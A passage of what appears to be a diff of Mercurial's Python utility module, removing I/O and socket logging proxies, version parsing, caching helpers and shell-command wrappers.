637 r'readinto', *args, **kwargs)
638
639 def write(self, *args, **kwargs):
640 return object.__getattribute__(self, r'_observedcall')(
641 r'write', *args, **kwargs)
642
643 def detach(self, *args, **kwargs):
644 return object.__getattribute__(self, r'_observedcall')(
645 r'detach', *args, **kwargs)
646
647 def read1(self, *args, **kwargs):
648 return object.__getattribute__(self, r'_observedcall')(
649 r'read1', *args, **kwargs)
650
651 class observedbufferedinputpipe(bufferedinputpipe):
652 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
653
654 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
655 bypass ``fileobjectproxy``. Because of this, we need to make
656 ``bufferedinputpipe`` aware of these operations.
657
658 This variation of ``bufferedinputpipe`` can notify observers about
659 ``os.read()`` events. It also re-publishes other events, such as
660 ``read()`` and ``readline()``.
661 """
662 def _fillbuffer(self):
663 res = super(observedbufferedinputpipe, self)._fillbuffer()
664
665 fn = getattr(self._input._observer, r'osread', None)
666 if fn:
667 fn(res, _chunksize)
668
669 return res
670
671 # We use different observer methods because the operation isn't
672 # performed on the actual file object but on us.
673 def read(self, size):
674 res = super(observedbufferedinputpipe, self).read(size)
675
676 fn = getattr(self._input._observer, r'bufferedread', None)
677 if fn:
678 fn(res, size)
679
680 return res
681
682 def readline(self, *args, **kwargs):
683 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
684
685 fn = getattr(self._input._observer, r'bufferedreadline', None)
686 if fn:
687 fn(res)
688
689 return res
690
691 PROXIED_SOCKET_METHODS = {
692 r'makefile',
693 r'recv',
694 r'recvfrom',
695 r'recvfrom_into',
696 r'recv_into',
697 r'send',
698 r'sendall',
699 r'sendto',
700 r'setblocking',
701 r'settimeout',
702 r'gettimeout',
703 r'setsockopt',
704 }
705
706 class socketproxy(object):
707 """A proxy around a socket that tells a watcher when events occur.
708
709 This is like ``fileobjectproxy`` except for sockets.
710
711 This type is intended to only be used for testing purposes. Think hard
712 before using it in important code.
713 """
714 __slots__ = (
715 r'_orig',
716 r'_observer',
717 )
718
719 def __init__(self, sock, observer):
720 object.__setattr__(self, r'_orig', sock)
721 object.__setattr__(self, r'_observer', observer)
722
723 def __getattribute__(self, name):
724 if name in PROXIED_SOCKET_METHODS:
725 return object.__getattribute__(self, name)
726
727 return getattr(object.__getattribute__(self, r'_orig'), name)
728
729 def __delattr__(self, name):
730 return delattr(object.__getattribute__(self, r'_orig'), name)
731
732 def __setattr__(self, name, value):
733 return setattr(object.__getattribute__(self, r'_orig'), name, value)
734
735 def __nonzero__(self):
736 return bool(object.__getattribute__(self, r'_orig'))
737
738 __bool__ = __nonzero__
739
740 def _observedcall(self, name, *args, **kwargs):
741 # Call the original object.
742 orig = object.__getattribute__(self, r'_orig')
743 res = getattr(orig, name)(*args, **kwargs)
744
745 # Call a method on the observer of the same name with arguments
746 # so it can react, log, etc.
747 observer = object.__getattribute__(self, r'_observer')
748 fn = getattr(observer, name, None)
749 if fn:
750 fn(res, *args, **kwargs)
751
752 return res
753
754 def makefile(self, *args, **kwargs):
755 res = object.__getattribute__(self, r'_observedcall')(
756 r'makefile', *args, **kwargs)
757
758 # The file object may be used for I/O. So we turn it into a
759 # proxy using our observer.
760 observer = object.__getattribute__(self, r'_observer')
761 return makeloggingfileobject(observer.fh, res, observer.name,
762 reads=observer.reads,
763 writes=observer.writes,
764 logdata=observer.logdata,
765 logdataapis=observer.logdataapis)
766
767 def recv(self, *args, **kwargs):
768 return object.__getattribute__(self, r'_observedcall')(
769 r'recv', *args, **kwargs)
770
771 def recvfrom(self, *args, **kwargs):
772 return object.__getattribute__(self, r'_observedcall')(
773 r'recvfrom', *args, **kwargs)
774
775 def recvfrom_into(self, *args, **kwargs):
776 return object.__getattribute__(self, r'_observedcall')(
777 r'recvfrom_into', *args, **kwargs)
778
779 def recv_into(self, *args, **kwargs):
780 return object.__getattribute__(self, r'_observedcall')(
781 r'recv_info', *args, **kwargs)
782
783 def send(self, *args, **kwargs):
784 return object.__getattribute__(self, r'_observedcall')(
785 r'send', *args, **kwargs)
786
787 def sendall(self, *args, **kwargs):
788 return object.__getattribute__(self, r'_observedcall')(
789 r'sendall', *args, **kwargs)
790
791 def sendto(self, *args, **kwargs):
792 return object.__getattribute__(self, r'_observedcall')(
793 r'sendto', *args, **kwargs)
794
795 def setblocking(self, *args, **kwargs):
796 return object.__getattribute__(self, r'_observedcall')(
797 r'setblocking', *args, **kwargs)
798
799 def settimeout(self, *args, **kwargs):
800 return object.__getattribute__(self, r'_observedcall')(
801 r'settimeout', *args, **kwargs)
802
803 def gettimeout(self, *args, **kwargs):
804 return object.__getattribute__(self, r'_observedcall')(
805 r'gettimeout', *args, **kwargs)
806
807 def setsockopt(self, *args, **kwargs):
808 return object.__getattribute__(self, r'_observedcall')(
809 r'setsockopt', *args, **kwargs)
810
23
811 _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
24 _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
812 _DATA_ESCAPE_MAP.update({
25 _DATA_ESCAPE_MAP.update({
@@ -822,1755 +35,10 b' def escapedata(s):'
822
35
823 return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s)
36 return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s)
824
37
825 class baseproxyobserver(object):
826 def _writedata(self, data):
827 if not self.logdata:
828 if self.logdataapis:
829 self.fh.write('\n')
830 self.fh.flush()
831 return
832
833 # Simple case writes all data on a single line.
834 if b'\n' not in data:
835 if self.logdataapis:
836 self.fh.write(': %s\n' % escapedata(data))
837 else:
838 self.fh.write('%s> %s\n' % (self.name, escapedata(data)))
839 self.fh.flush()
840 return
841
842 # Data with newlines is written to multiple lines.
843 if self.logdataapis:
844 self.fh.write(':\n')
845
846 lines = data.splitlines(True)
847 for line in lines:
848 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
849 self.fh.flush()
850
851 class fileobjectobserver(baseproxyobserver):
852 """Logs file object activity."""
853 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
854 logdataapis=True):
855 self.fh = fh
856 self.name = name
857 self.logdata = logdata
858 self.logdataapis = logdataapis
859 self.reads = reads
860 self.writes = writes
861
862 def read(self, res, size=-1):
863 if not self.reads:
864 return
865 # Python 3 can return None from reads at EOF instead of empty strings.
866 if res is None:
867 res = ''
868
869 if self.logdataapis:
870 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
871
872 self._writedata(res)
873
874 def readline(self, res, limit=-1):
875 if not self.reads:
876 return
877
878 if self.logdataapis:
879 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
880
881 self._writedata(res)
882
883 def readinto(self, res, dest):
884 if not self.reads:
885 return
886
887 if self.logdataapis:
888 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
889 res))
890
891 data = dest[0:res] if res is not None else b''
892 self._writedata(data)
893
894 def write(self, res, data):
895 if not self.writes:
896 return
897
898 # Python 2 returns None from some write() calls. Python 3 (reasonably)
899 # returns the integer bytes written.
900 if res is None and data:
901 res = len(data)
902
903 if self.logdataapis:
904 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
905
906 self._writedata(data)
907
908 def flush(self, res):
909 if not self.writes:
910 return
911
912 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
913
914 # For observedbufferedinputpipe.
915 def bufferedread(self, res, size):
916 if not self.reads:
917 return
918
919 if self.logdataapis:
920 self.fh.write('%s> bufferedread(%d) -> %d' % (
921 self.name, size, len(res)))
922
923 self._writedata(res)
924
925 def bufferedreadline(self, res):
926 if not self.reads:
927 return
928
929 if self.logdataapis:
930 self.fh.write('%s> bufferedreadline() -> %d' % (
931 self.name, len(res)))
932
933 self._writedata(res)
934
935 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
936 logdata=False, logdataapis=True):
937 """Turn a file object into a logging file object."""
938
939 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
940 logdata=logdata, logdataapis=logdataapis)
941 return fileobjectproxy(fh, observer)
942
943 class socketobserver(baseproxyobserver):
944 """Logs socket activity."""
945 def __init__(self, fh, name, reads=True, writes=True, states=True,
946 logdata=False, logdataapis=True):
947 self.fh = fh
948 self.name = name
949 self.reads = reads
950 self.writes = writes
951 self.states = states
952 self.logdata = logdata
953 self.logdataapis = logdataapis
954
955 def makefile(self, res, mode=None, bufsize=None):
956 if not self.states:
957 return
958
959 self.fh.write('%s> makefile(%r, %r)\n' % (
960 self.name, mode, bufsize))
961
962 def recv(self, res, size, flags=0):
963 if not self.reads:
964 return
965
966 if self.logdataapis:
967 self.fh.write('%s> recv(%d, %d) -> %d' % (
968 self.name, size, flags, len(res)))
969 self._writedata(res)
970
971 def recvfrom(self, res, size, flags=0):
972 if not self.reads:
973 return
974
975 if self.logdataapis:
976 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
977 self.name, size, flags, len(res[0])))
978
979 self._writedata(res[0])
980
981 def recvfrom_into(self, res, buf, size, flags=0):
982 if not self.reads:
983 return
984
985 if self.logdataapis:
986 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
987 self.name, size, flags, res[0]))
988
989 self._writedata(buf[0:res[0]])
990
991 def recv_into(self, res, buf, size=0, flags=0):
992 if not self.reads:
993 return
994
995 if self.logdataapis:
996 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
997 self.name, size, flags, res))
998
999 self._writedata(buf[0:res])
1000
1001 def send(self, res, data, flags=0):
1002 if not self.writes:
1003 return
1004
1005 self.fh.write('%s> send(%d, %d) -> %d' % (
1006 self.name, len(data), flags, len(res)))
1007 self._writedata(data)
1008
1009 def sendall(self, res, data, flags=0):
1010 if not self.writes:
1011 return
1012
1013 if self.logdataapis:
1014 # Returns None on success. So don't bother reporting return value.
1015 self.fh.write('%s> sendall(%d, %d)' % (
1016 self.name, len(data), flags))
1017
1018 self._writedata(data)
1019
1020 def sendto(self, res, data, flagsoraddress, address=None):
1021 if not self.writes:
1022 return
1023
1024 if address:
1025 flags = flagsoraddress
1026 else:
1027 flags = 0
1028
1029 if self.logdataapis:
1030 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1031 self.name, len(data), flags, address, res))
1032
1033 self._writedata(data)
1034
1035 def setblocking(self, res, flag):
1036 if not self.states:
1037 return
1038
1039 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1040
1041 def settimeout(self, res, value):
1042 if not self.states:
1043 return
1044
1045 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1046
1047 def gettimeout(self, res):
1048 if not self.states:
1049 return
1050
1051 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1052
1053 def setsockopt(self, level, optname, value):
1054 if not self.states:
1055 return
1056
1057 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1058 self.name, level, optname, value))
1059
1060 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1061 logdata=False, logdataapis=True):
1062 """Turn a socket into a logging socket."""
1063
1064 observer = socketobserver(logh, name, reads=reads, writes=writes,
1065 states=states, logdata=logdata,
1066 logdataapis=logdataapis)
1067 return socketproxy(fh, observer)
1068
1069 def version():
1070 """Return version information if available."""
1071 try:
1072 from . import __version__
1073 return __version__.version
1074 except ImportError:
1075 return 'unknown'
1076
1077 def versiontuple(v=None, n=4):
1078 """Parses a Mercurial version string into an N-tuple.
1079
1080 The version string to be parsed is specified with the ``v`` argument.
1081 If it isn't defined, the current Mercurial version string will be parsed.
1082
1083 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1084 returned values:
1085
1086 >>> v = b'3.6.1+190-df9b73d2d444'
1087 >>> versiontuple(v, 2)
1088 (3, 6)
1089 >>> versiontuple(v, 3)
1090 (3, 6, 1)
1091 >>> versiontuple(v, 4)
1092 (3, 6, 1, '190-df9b73d2d444')
1093
1094 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1095 (3, 6, 1, '190-df9b73d2d444+20151118')
1096
1097 >>> v = b'3.6'
1098 >>> versiontuple(v, 2)
1099 (3, 6)
1100 >>> versiontuple(v, 3)
1101 (3, 6, None)
1102 >>> versiontuple(v, 4)
1103 (3, 6, None, None)
1104
1105 >>> v = b'3.9-rc'
1106 >>> versiontuple(v, 2)
1107 (3, 9)
1108 >>> versiontuple(v, 3)
1109 (3, 9, None)
1110 >>> versiontuple(v, 4)
1111 (3, 9, None, 'rc')
1112
1113 >>> v = b'3.9-rc+2-02a8fea4289b'
1114 >>> versiontuple(v, 2)
1115 (3, 9)
1116 >>> versiontuple(v, 3)
1117 (3, 9, None)
1118 >>> versiontuple(v, 4)
1119 (3, 9, None, 'rc+2-02a8fea4289b')
1120 """
1121 if not v:
1122 v = version()
1123 parts = remod.split('[\+-]', v, 1)
1124 if len(parts) == 1:
1125 vparts, extra = parts[0], None
1126 else:
1127 vparts, extra = parts
1128
1129 vints = []
1130 for i in vparts.split('.'):
1131 try:
1132 vints.append(int(i))
1133 except ValueError:
1134 break
1135 # (3, 6) -> (3, 6, None)
1136 while len(vints) < 3:
1137 vints.append(None)
1138
1139 if n == 2:
1140 return (vints[0], vints[1])
1141 if n == 3:
1142 return (vints[0], vints[1], vints[2])
1143 if n == 4:
1144 return (vints[0], vints[1], vints[2], extra)
1145
1146 def cachefunc(func):
1147 '''cache the result of function calls'''
1148 # XXX doesn't handle keywords args
1149 if func.__code__.co_argcount == 0:
1150 cache = []
1151 def f():
1152 if len(cache) == 0:
1153 cache.append(func())
1154 return cache[0]
1155 return f
1156 cache = {}
1157 if func.__code__.co_argcount == 1:
1158 # we gain a small amount of time because
1159 # we don't need to pack/unpack the list
1160 def f(arg):
1161 if arg not in cache:
1162 cache[arg] = func(arg)
1163 return cache[arg]
1164 else:
1165 def f(*args):
1166 if args not in cache:
1167 cache[args] = func(*args)
1168 return cache[args]
1169
1170 return f
1171
1172 class cow(object):
1173 """helper class to make copy-on-write easier
1174
1175 Call preparewrite before doing any writes.
1176 """
1177
1178 def preparewrite(self):
1179 """call this before writes, return self or a copied new object"""
1180 if getattr(self, '_copied', 0):
1181 self._copied -= 1
1182 return self.__class__(self)
1183 return self
1184
1185 def copy(self):
1186 """always do a cheap copy"""
1187 self._copied = getattr(self, '_copied', 0) + 1
1188 return self
1189
1190 class sortdict(collections.OrderedDict):
1191 '''a simple sorted dictionary
1192
1193 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1194 >>> d2 = d1.copy()
1195 >>> d2
1196 sortdict([('a', 0), ('b', 1)])
1197 >>> d2.update([(b'a', 2)])
1198 >>> list(d2.keys()) # should still be in last-set order
1199 ['b', 'a']
1200 '''
1201
1202 def __setitem__(self, key, value):
1203 if key in self:
1204 del self[key]
1205 super(sortdict, self).__setitem__(key, value)
1206
1207 if pycompat.ispypy:
1208 # __setitem__() isn't called as of PyPy 5.8.0
1209 def update(self, src):
1210 if isinstance(src, dict):
1211 src = src.iteritems()
1212 for k, v in src:
1213 self[k] = v
1214
1215 class cowdict(cow, dict):
1216 """copy-on-write dict
1217
1218 Be sure to call d = d.preparewrite() before writing to d.
1219
1220 >>> a = cowdict()
1221 >>> a is a.preparewrite()
1222 True
1223 >>> b = a.copy()
1224 >>> b is a
1225 True
1226 >>> c = b.copy()
1227 >>> c is a
1228 True
1229 >>> a = a.preparewrite()
1230 >>> b is a
1231 False
1232 >>> a is a.preparewrite()
1233 True
1234 >>> c = c.preparewrite()
1235 >>> b is c
1236 False
1237 >>> b is b.preparewrite()
1238 True
1239 """
1240
1241 class cowsortdict(cow, sortdict):
1242 """copy-on-write sortdict
1243
1244 Be sure to call d = d.preparewrite() before writing to d.
1245 """
1246
1247 class transactional(object):
1248 """Base class for making a transactional type into a context manager."""
1249 __metaclass__ = abc.ABCMeta
1250
1251 @abc.abstractmethod
1252 def close(self):
1253 """Successfully closes the transaction."""
1254
1255 @abc.abstractmethod
1256 def release(self):
1257 """Marks the end of the transaction.
1258
1259 If the transaction has not been closed, it will be aborted.
1260 """
1261
1262 def __enter__(self):
1263 return self
1264
1265 def __exit__(self, exc_type, exc_val, exc_tb):
1266 try:
1267 if exc_type is None:
1268 self.close()
1269 finally:
1270 self.release()
1271
1272 @contextlib.contextmanager
1273 def acceptintervention(tr=None):
1274 """A context manager that closes the transaction on InterventionRequired
1275
1276 If no transaction was provided, this simply runs the body and returns
1277 """
1278 if not tr:
1279 yield
1280 return
1281 try:
1282 yield
1283 tr.close()
1284 except error.InterventionRequired:
1285 tr.close()
1286 raise
1287 finally:
1288 tr.release()
1289
1290 @contextlib.contextmanager
1291 def nullcontextmanager():
1292 yield
1293
1294 class _lrucachenode(object):
1295 """A node in a doubly linked list.
1296
1297 Holds a reference to nodes on either side as well as a key-value
1298 pair for the dictionary entry.
1299 """
1300 __slots__ = (u'next', u'prev', u'key', u'value')
1301
1302 def __init__(self):
1303 self.next = None
1304 self.prev = None
1305
1306 self.key = _notset
1307 self.value = None
1308
1309 def markempty(self):
1310 """Mark the node as emptied."""
1311 self.key = _notset
1312
1313 class lrucachedict(object):
1314 """Dict that caches most recent accesses and sets.
1315
1316 The dict consists of an actual backing dict - indexed by original
1317 key - and a doubly linked circular list defining the order of entries in
1318 the cache.
1319
1320 The head node is the newest entry in the cache. If the cache is full,
1321 we recycle head.prev and make it the new head. Cache accesses result in
1322 the node being moved to before the existing head and being marked as the
1323 new head node.
1324 """
1325 def __init__(self, max):
1326 self._cache = {}
1327
1328 self._head = head = _lrucachenode()
1329 head.prev = head
1330 head.next = head
1331 self._size = 1
1332 self._capacity = max
1333
1334 def __len__(self):
1335 return len(self._cache)
1336
1337 def __contains__(self, k):
1338 return k in self._cache
1339
1340 def __iter__(self):
1341 # We don't have to iterate in cache order, but why not.
1342 n = self._head
1343 for i in range(len(self._cache)):
1344 yield n.key
1345 n = n.next
1346
1347 def __getitem__(self, k):
1348 node = self._cache[k]
1349 self._movetohead(node)
1350 return node.value
1351
1352 def __setitem__(self, k, v):
1353 node = self._cache.get(k)
1354 # Replace existing value and mark as newest.
1355 if node is not None:
1356 node.value = v
1357 self._movetohead(node)
1358 return
1359
1360 if self._size < self._capacity:
1361 node = self._addcapacity()
1362 else:
1363 # Grab the last/oldest item.
1364 node = self._head.prev
1365
1366 # At capacity. Kill the old entry.
1367 if node.key is not _notset:
1368 del self._cache[node.key]
1369
1370 node.key = k
1371 node.value = v
1372 self._cache[k] = node
1373 # And mark it as newest entry. No need to adjust order since it
1374 # is already self._head.prev.
1375 self._head = node
1376
1377 def __delitem__(self, k):
1378 node = self._cache.pop(k)
1379 node.markempty()
1380
1381 # Temporarily mark as newest item before re-adjusting head to make
1382 # this node the oldest item.
1383 self._movetohead(node)
1384 self._head = node.next
1385
1386 # Additional dict methods.
1387
1388 def get(self, k, default=None):
1389 try:
1390 return self._cache[k].value
1391 except KeyError:
1392 return default
1393
1394 def clear(self):
1395 n = self._head
1396 while n.key is not _notset:
1397 n.markempty()
1398 n = n.next
1399
1400 self._cache.clear()
1401
1402 def copy(self):
1403 result = lrucachedict(self._capacity)
1404 n = self._head.prev
1405 # Iterate in oldest-to-newest order, so the copy has the right ordering
1406 for i in range(len(self._cache)):
1407 result[n.key] = n.value
1408 n = n.prev
1409 return result
1410
1411 def _movetohead(self, node):
1412 """Mark a node as the newest, making it the new head.
1413
1414 When a node is accessed, it becomes the freshest entry in the LRU
1415 list, which is denoted by self._head.
1416
1417 Visually, let's make ``N`` the new head node (* denotes head):
1418
1419 previous/oldest <-> head <-> next/next newest
1420
1421 ----<->--- A* ---<->-----
1422 | |
1423 E <-> D <-> N <-> C <-> B
1424
1425 To:
1426
1427 ----<->--- N* ---<->-----
1428 | |
1429 E <-> D <-> C <-> B <-> A
1430
1431 This requires the following moves:
1432
1433 C.next = D (node.prev.next = node.next)
1434 D.prev = C (node.next.prev = node.prev)
1435 E.next = N (head.prev.next = node)
1436 N.prev = E (node.prev = head.prev)
1437 N.next = A (node.next = head)
1438 A.prev = N (head.prev = node)
1439 """
1440 head = self._head
1441 # C.next = D
1442 node.prev.next = node.next
1443 # D.prev = C
1444 node.next.prev = node.prev
1445 # N.prev = E
1446 node.prev = head.prev
1447 # N.next = A
1448 # It is tempting to do just "head" here, however if node is
1449 # adjacent to head, this will do bad things.
1450 node.next = head.prev.next
1451 # E.next = N
1452 node.next.prev = node
1453 # A.prev = N
1454 node.prev.next = node
1455
1456 self._head = node
1457
1458 def _addcapacity(self):
1459 """Add a node to the circular linked list.
1460
1461 The new node is inserted before the head node.
1462 """
1463 head = self._head
1464 node = _lrucachenode()
1465 head.prev.next = node
1466 node.prev = head.prev
1467 node.next = head
1468 head.prev = node
1469 self._size += 1
1470 return node
1471
1472 def lrucachefunc(func):
1473 '''cache most recent results of function calls'''
1474 cache = {}
1475 order = collections.deque()
1476 if func.__code__.co_argcount == 1:
1477 def f(arg):
1478 if arg not in cache:
1479 if len(cache) > 20:
1480 del cache[order.popleft()]
1481 cache[arg] = func(arg)
1482 else:
1483 order.remove(arg)
1484 order.append(arg)
1485 return cache[arg]
1486 else:
1487 def f(*args):
1488 if args not in cache:
1489 if len(cache) > 20:
1490 del cache[order.popleft()]
1491 cache[args] = func(*args)
1492 else:
1493 order.remove(args)
1494 order.append(args)
1495 return cache[args]
1496
1497 return f
1498
1499 class propertycache(object):
1500 def __init__(self, func):
1501 self.func = func
1502 self.name = func.__name__
1503 def __get__(self, obj, type=None):
1504 result = self.func(obj)
1505 self.cachevalue(obj, result)
1506 return result
1507
1508 def cachevalue(self, obj, value):
1509 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1510 obj.__dict__[self.name] = value
1511
1512 def clearcachedproperty(obj, prop):
1513 '''clear a cached property value, if one has been set'''
1514 if prop in obj.__dict__:
1515 del obj.__dict__[prop]
1516
1517 def pipefilter(s, cmd):
1518 '''filter string S through command CMD, returning its output'''
1519 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1520 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1521 pout, perr = p.communicate(s)
1522 return pout
1523
1524 def tempfilter(s, cmd):
1525 '''filter string S through a pair of temporary files with CMD.
1526 CMD is used as a template to create the real command to be run,
1527 with the strings INFILE and OUTFILE replaced by the real names of
1528 the temporary files generated.'''
1529 inname, outname = None, None
1530 try:
1531 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1532 fp = os.fdopen(infd, r'wb')
1533 fp.write(s)
1534 fp.close()
1535 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1536 os.close(outfd)
1537 cmd = cmd.replace('INFILE', inname)
1538 cmd = cmd.replace('OUTFILE', outname)
1539 code = os.system(cmd)
1540 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1541 code = 0
1542 if code:
1543 raise Abort(_("command '%s' failed: %s") %
1544 (cmd, explainexit(code)))
1545 return readfile(outname)
1546 finally:
1547 try:
1548 if inname:
1549 os.unlink(inname)
1550 except OSError:
1551 pass
1552 try:
1553 if outname:
1554 os.unlink(outname)
1555 except OSError:
1556 pass
1557
1558 filtertable = {
1559 'tempfile:': tempfilter,
1560 'pipe:': pipefilter,
1561 }
1562
1563 def filter(s, cmd):
1564 "filter a string through a command that transforms its input to its output"
1565 for name, fn in filtertable.iteritems():
1566 if cmd.startswith(name):
1567 return fn(s, cmd[len(name):].lstrip())
1568 return pipefilter(s, cmd)
1569
1570 def binary(s):
38 def binary(s):
1571 """return true if a string is binary data"""
39 """return true if a string is binary data"""
1572 return bool(s and '\0' in s)
40 return bool(s and '\0' in s)
1573
41
1574 def increasingchunks(source, min=1024, max=65536):
1575 '''return no less than min bytes per chunk while data remains,
1576 doubling min after each chunk until it reaches max'''
1577 def log2(x):
1578 if not x:
1579 return 0
1580 i = 0
1581 while x:
1582 x >>= 1
1583 i += 1
1584 return i - 1
1585
1586 buf = []
1587 blen = 0
1588 for chunk in source:
1589 buf.append(chunk)
1590 blen += len(chunk)
1591 if blen >= min:
1592 if min < max:
1593 min = min << 1
1594 nmin = 1 << log2(blen)
1595 if nmin > min:
1596 min = nmin
1597 if min > max:
1598 min = max
1599 yield ''.join(buf)
1600 blen = 0
1601 buf = []
1602 if buf:
1603 yield ''.join(buf)
1604
1605 Abort = error.Abort
1606
1607 def always(fn):
1608 return True
1609
1610 def never(fn):
1611 return False
1612
1613 def nogc(func):
1614 """disable garbage collector
1615
1616 Python's garbage collector triggers a GC each time a certain number of
1617 container objects (the number being defined by gc.get_threshold()) are
1618 allocated even when marked not to be tracked by the collector. Tracking has
1619 no effect on when GCs are triggered, only on what objects the GC looks
1620 into. As a workaround, disable GC while building complex (huge)
1621 containers.
1622
1623 This garbage collector issue have been fixed in 2.7. But it still affect
1624 CPython's performance.
1625 """
1626 def wrapper(*args, **kwargs):
1627 gcenabled = gc.isenabled()
1628 gc.disable()
1629 try:
1630 return func(*args, **kwargs)
1631 finally:
1632 if gcenabled:
1633 gc.enable()
1634 return wrapper
1635
1636 if pycompat.ispypy:
1637 # PyPy runs slower with gc disabled
1638 nogc = lambda x: x
1639
1640 def pathto(root, n1, n2):
1641 '''return the relative path from one place to another.
1642 root should use os.sep to separate directories
1643 n1 should use os.sep to separate directories
1644 n2 should use "/" to separate directories
1645 returns an os.sep-separated path.
1646
1647 If n1 is a relative path, it's assumed it's
1648 relative to root.
1649 n2 should always be relative to root.
1650 '''
1651 if not n1:
1652 return localpath(n2)
1653 if os.path.isabs(n1):
1654 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1655 return os.path.join(root, localpath(n2))
1656 n2 = '/'.join((pconvert(root), n2))
1657 a, b = splitpath(n1), n2.split('/')
1658 a.reverse()
1659 b.reverse()
1660 while a and b and a[-1] == b[-1]:
1661 a.pop()
1662 b.pop()
1663 b.reverse()
1664 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1665
1666 def mainfrozen():
1667 """return True if we are a frozen executable.
1668
1669 The code supports py2exe (most common, Windows only) and tools/freeze
1670 (portable, not much used).
1671 """
1672 return (safehasattr(sys, "frozen") or # new py2exe
1673 safehasattr(sys, "importers") or # old py2exe
1674 imp.is_frozen(u"__main__")) # tools/freeze
1675
1676 # the location of data files matching the source code
1677 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1678 # executable version (py2exe) doesn't support __file__
1679 datapath = os.path.dirname(pycompat.sysexecutable)
1680 else:
1681 datapath = os.path.dirname(pycompat.fsencode(__file__))
1682
1683 i18n.setdatapath(datapath)
1684
1685 _hgexecutable = None
1686
1687 def hgexecutable():
1688 """return location of the 'hg' executable.
1689
1690 Defaults to $HG or 'hg' in the search path.
1691 """
1692 if _hgexecutable is None:
1693 hg = encoding.environ.get('HG')
1694 mainmod = sys.modules[r'__main__']
1695 if hg:
1696 _sethgexecutable(hg)
1697 elif mainfrozen():
1698 if getattr(sys, 'frozen', None) == 'macosx_app':
1699 # Env variable set by py2app
1700 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1701 else:
1702 _sethgexecutable(pycompat.sysexecutable)
1703 elif (os.path.basename(
1704 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1705 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1706 else:
1707 exe = findexe('hg') or os.path.basename(sys.argv[0])
1708 _sethgexecutable(exe)
1709 return _hgexecutable
1710
1711 def _sethgexecutable(path):
1712 """set location of the 'hg' executable"""
1713 global _hgexecutable
1714 _hgexecutable = path
1715
1716 def _testfileno(f, stdf):
1717 fileno = getattr(f, 'fileno', None)
1718 try:
1719 return fileno and fileno() == stdf.fileno()
1720 except io.UnsupportedOperation:
1721 return False # fileno() raised UnsupportedOperation
1722
1723 def isstdin(f):
1724 return _testfileno(f, sys.__stdin__)
1725
1726 def isstdout(f):
1727 return _testfileno(f, sys.__stdout__)
1728
1729 def shellenviron(environ=None):
1730 """return environ with optional override, useful for shelling out"""
1731 def py2shell(val):
1732 'convert python object into string that is useful to shell'
1733 if val is None or val is False:
1734 return '0'
1735 if val is True:
1736 return '1'
1737 return pycompat.bytestr(val)
1738 env = dict(encoding.environ)
1739 if environ:
1740 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1741 env['HG'] = hgexecutable()
1742 return env
1743
1744 def system(cmd, environ=None, cwd=None, out=None):
1745 '''enhanced shell command execution.
1746 run with environment maybe modified, maybe in different dir.
1747
1748 if out is specified, it is assumed to be a file-like object that has a
1749 write() method. stdout and stderr will be redirected to out.'''
1750 try:
1751 stdout.flush()
1752 except Exception:
1753 pass
1754 cmd = quotecommand(cmd)
1755 env = shellenviron(environ)
1756 if out is None or isstdout(out):
1757 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1758 env=env, cwd=cwd)
1759 else:
1760 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1761 env=env, cwd=cwd, stdout=subprocess.PIPE,
1762 stderr=subprocess.STDOUT)
1763 for line in iter(proc.stdout.readline, ''):
1764 out.write(line)
1765 proc.wait()
1766 rc = proc.returncode
1767 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1768 rc = 0
1769 return rc
1770
1771 def checksignature(func):
1772 '''wrap a function with code to check for calling errors'''
1773 def check(*args, **kwargs):
1774 try:
1775 return func(*args, **kwargs)
1776 except TypeError:
1777 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1778 raise error.SignatureError
1779 raise
1780
1781 return check
1782
1783 # a whilelist of known filesystems where hardlink works reliably
1784 _hardlinkfswhitelist = {
1785 'btrfs',
1786 'ext2',
1787 'ext3',
1788 'ext4',
1789 'hfs',
1790 'jfs',
1791 'NTFS',
1792 'reiserfs',
1793 'tmpfs',
1794 'ufs',
